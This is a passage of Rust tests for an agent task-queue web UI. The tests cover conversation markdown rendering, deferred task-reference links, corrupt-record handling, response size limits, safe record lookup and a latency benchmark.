25432                ui.is_thinking_observed(&id),
25433                "local admission remains visible"
25434            );
25435        });
25436    }
25437
25438    #[tokio::test]
25439    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
25440        let home = tempfile::tempdir().unwrap();
25441        let ui = delta_test_ui(home.path());
25442        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25443        let mut task = Task::new(
25444            "Referenced task".into(),
25445            "Unrelated instruction history".repeat(1024),
25446            home.path().into(),
25447            Source::Human,
25448        );
25449        task.id = "20261019-000000-abcd".into();
25450        ui.queue.put(&mut task).unwrap();
25451        let mut conversation = ui.talks.get(&id).unwrap();
25452        conversation.turns.push(talk::Turn {
25453            sender: Some(talk::Sender::Persona),
25454            who: talk::Who::Agent,
25455            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
25456            at: conversation.created_at,
25457            attachments: Vec::new(),
25458            usage: None,
25459            breaks: None,
25460            messages: Vec::new(),
25461            posted_by: None,
25462        });
25463        ui.talks.put(&mut conversation).unwrap();
25464
25465        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
25466        let markdown = serde_json::to_value(&core.turn_bodies_md)
25467            .unwrap()
25468            .to_string();
25469        assert!(markdown.contains("\"strong\""));
25470        assert!(markdown.contains("\"table\""));
25471        assert!(markdown.contains("\"bullet_list\""));
25472        assert!(markdown.contains("\"code_block\""));
25473        assert!(!markdown.contains("\"internal_link\""));
25474        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
25475        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
25476        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25477
25478        // Deferred decoration still resolves the same validated task, without
25479        // touching opaque code blocks or changing the original transcript.
25480        let references = ui.references.for_talk(home.path(), &conversation);
25481        let mut decorated = core.turn_bodies_md[0].clone();
25482        references.markdown(&mut decorated);
25483        let decorated = serde_json::to_value(decorated).unwrap().to_string();
25484        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
25485        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
25486        assert_eq!(
25487            ui.talks.get(&conversation.id).unwrap().turns[0].body,
25488            conversation.turns[0].body
25489        );
25490    }
25491
25492    #[tokio::test]
25493    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
25494        let home = tempfile::tempdir().unwrap();
25495        let ui = delta_test_ui(home.path());
25496        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25497        let mut run = RunState::new(
25498            PathBuf::from("/repo"),
25499            "main".into(),
25500            "01234567".into(),
25501            "Useful run".into(),
25502            Config::default(),
25503        );
25504        run.save_under(home.path()).unwrap();
25505        let mut task = Task::new(
25506            "Related".into(),
25507            "body".into(),
25508            PathBuf::from("/repo"),
25509            Source::Agent {
25510                run: talk_id.clone(),
25511                node: "chat".into(),
25512            },
25513        );
25514        task.runs = vec![run.id.clone()];
25515        ui.queue.put(&mut task).unwrap();
25516        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
25517        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
25518        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
25519        assert!(
25520            run_detail(State(ui.clone()), Path(run.id.clone()))
25521                .await
25522                .is_ok()
25523        );
25524        assert!(
25525            talk_sections(State(ui.clone()), Path(talk_id.clone()))
25526                .await
25527                .is_ok()
25528        );
25529        // Previously indexed corruption must not masquerade as no relationship.
25530        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25531        assert!(ui.find_task_for_run(&run.id).is_err());
25532        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
25533        ui.queue.put(&mut task).unwrap();
25534        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
25535    }
25536
25537    #[tokio::test]
25538    async fn conversation_sections_omit_large_task_instructions() {
25539        let home = tempfile::tempdir().unwrap();
25540        let ui = delta_test_ui(home.path());
25541        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25542        let mut task = Task::new(
25543            "filed task".into(),
25544            "large instruction ".repeat(65536),
25545            PathBuf::from("/repo"),
25546            Source::Agent {
25547                run: id.clone(),
25548                node: "chat".into(),
25549            },
25550        );
25551        ui.queue.put(&mut task).unwrap();
25552        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
25553        assert_eq!(sections["tasks"][0]["id"], task.id);
25554        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
25555        assert!(sections["tasks"][0].get("instruction").is_none());
25556        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
25557    }
25558
25559    #[test]
25560    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
25561        let home = tempfile::tempdir().unwrap();
25562        let talks = Talks::at(home.path().join("talks"));
25563        seed_talk_at(&talks, "20261019-000001-abcd", "open");
25564        seed_talk_at(&talks, "20261019-000002-abcd", "open");
25565        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
25566        assert!(resolve_talk(&talks, "../outside").is_err());
25567        assert!(resolve_talk(&talks, "abcd").is_err());
25568        assert_eq!(
25569            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
25570            "20261019-000001-abcd"
25571        );
25572    }
25573
25574    include!(concat!(
25575        env!("CARGO_MANIFEST_DIR"),
25576        "/tests/web_latency/baseline.rs"
25577    ));
25578
25579    include!(concat!(
25580        env!("CARGO_MANIFEST_DIR"),
25581        "/tests/web_latency/lists.rs"
25582    ));
25583
25584    #[tokio::test]
25585    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
25586    async fn web_history_latency_measurement() {
25587        use std::time::Instant;
25588        let home = tempfile::tempdir().unwrap();
25589        let ui = delta_test_ui(home.path());
25590        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25591        let mut template = ui.talks.get(&id).unwrap();
25592        template.turns = serde_json::from_value(serde_json::json!([{
25593            "who": "operator", "body": "Show the accumulated work and its current status.",
25594            "at": Timestamp::now().to_string(),
25595        }]))
25596        .unwrap();
25597        std::fs::write(
25598            ui.talks.path_of(&id),
25599            serde_json::to_vec(&template).unwrap(),
25600        )
25601        .unwrap();
25602        let count = std::env::var("MAGI_BENCH_RECORDS")
25603            .ok()
25604            .and_then(|s| s.parse::<usize>().ok())
25605            .unwrap_or(1000);
25606        for i in 0..count {
25607            template.id = format!("20261019-{i:06}-history");
25608            template.pending = "history ".repeat(2048);
25609            std::fs::write(
25610                ui.talks.path_of(&template.id),
25611                serde_json::to_vec(&template).unwrap(),
25612            )
25613            .unwrap();
25614            let mut task = Task::new(
25615                "old task".into(),
25616                "instruction ".repeat(2048),
25617                PathBuf::from("/repo"),
25618                Source::Human,
25619            );
25620            task.id = format!("20261019-{i:06}-task");
25621            ui.queue.put(&mut task).unwrap();
25622        }
25623        for baseline in [true, false] {
25624            for clients in [1, 4] {
25625                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
25626                let mut samples = Vec::new();
25627                for _ in 0..12 {
25628                    let mut jobs = Vec::new();
25629                    for _ in 0..clients {
25630                        let ui = ui.clone();
25631                        let id = id.clone();
25632                        jobs.push(tokio::spawn(async move {
25633                            let start = Instant::now();
25634                            if baseline {
25635                                let response =
25636                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
25637                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
25638                                return (
25639                                    elapsed,
25640                                    elapsed,
25641                                    serde_json::to_vec(&response).unwrap().len(),
25642                                );
25643                            }
25644                            let core = talk_core(State(ui.clone()), Path(id.clone()));
25645                            let secondary = talk_sections(State(ui), Path(id));
25646                            let (first, total) = tokio::join!(
25647                                async {
25648                                    let value = core.await.unwrap().0;
25649                                    (
25650                                        start.elapsed().as_secs_f64() * 1000.0,
25651                                        serde_json::to_vec(&value).unwrap().len(),
25652                                    )
25653                                },
25654                                async {
25655                                    let value = secondary.await.unwrap().0;
25656                                    (
25657                                        start.elapsed().as_secs_f64() * 1000.0,
25658                                        serde_json::to_vec(&value).unwrap().len(),
25659                                    )
25660                                }
25661                            );
25662                            (first.0, first.0.max(total.0), first.1 + total.1)
25663                        }));
25664                    }
25665                    for job in jobs {
25666                        samples.push(job.await.unwrap());
25667                    }
25668                }
25669                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
25670                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
25671                first.sort_by(f64::total_cmp);
25672                total.sort_by(f64::total_cmp);
25673                let n = first.len();
25674                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
25675                println!(
25676                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
25677                    first[n / 2],
25678                    first[(n * 95 / 100).min(n - 1)],
25679                    total[n / 2],
25680                    total[(n * 95 / 100).min(n - 1)],
25681                    samples[0].2
25682                );
25683            }
25684        }
25685    }
25686
25687    #[test]
25688    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
25689        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
25690        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
25691        assert!(APP_JS.contains("function nextRunRequest(id)"));
25692        assert!(APP_JS.contains("function runShell(id, summary)"));
25693        assert!(APP_JS.contains("function nextTaskRequest(id)"));
25694        assert!(APP_JS.contains("function taskShell(id, summary)"));
25695        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
25696    }
25697}